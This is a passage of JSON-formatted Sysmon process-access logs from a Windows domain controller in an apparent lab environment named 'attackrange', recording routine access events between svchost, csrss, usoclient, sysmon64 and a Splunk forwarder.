Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2232\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-00106DD50500}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e014|c:\\windows\\system32\\UBPM.dll+115a2|c:\\windows\\system32\\EventAggregation.dll+3fae|c:\\windows\\system32\\EventAggregation.dll+3ea1|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2232","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-00106DD50500}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e014|c:\\windows\\system32\\UBPM.dll+115a2|c:\\windows\\system32\\EventAggregation.dll+3fae|c:\\windows\\system32\\EventAggregation.dll+3ea1|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-00106DD50500}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-00106DD50500}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 